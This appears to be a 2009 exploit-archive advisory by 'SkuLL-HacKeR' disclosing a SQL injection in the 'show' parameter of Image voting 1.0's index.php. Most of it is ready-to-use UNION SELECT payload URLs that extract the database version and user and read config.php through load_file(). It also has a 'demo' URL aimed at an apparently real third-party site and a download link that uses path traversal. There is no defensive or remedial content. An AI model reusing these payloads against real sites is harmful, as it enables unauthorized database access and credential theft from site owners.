[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Image voting 1.0 (index.php show) SQL Injection Vulnerability
# Published : 2009-09-11
# Author : SkuLL-HacKeR
# Previous Title : Bs Counter 2.5.3 (page) Remote SQL Injection Vulnerability
# Next Title : Gyro 5.0 (SQL/XSS) Multiple Remote Vulnerabilities
###############################################################
# Image voting 1.0 Remote Sql injection
# AuTh0r : SKuLL-HacKeR
# H0ME : WwW.Sec-Best.com & Saudihack.com & S3curity-Art.CoM
# Email : My@Hotmail.iT
###############################################################
download script : http://www.plohni.com/wb/content/static/Download.php?file=../php/download/Image_voting_1-0.zip
exploit :
http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5--
http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,user(),3,4,5--
http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,load_file(hex directory/config.php),3,4,5--
demo :
http://www.plohni.com/wb/content/php/demos/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5--
# www.Syue.com [2009-09-11]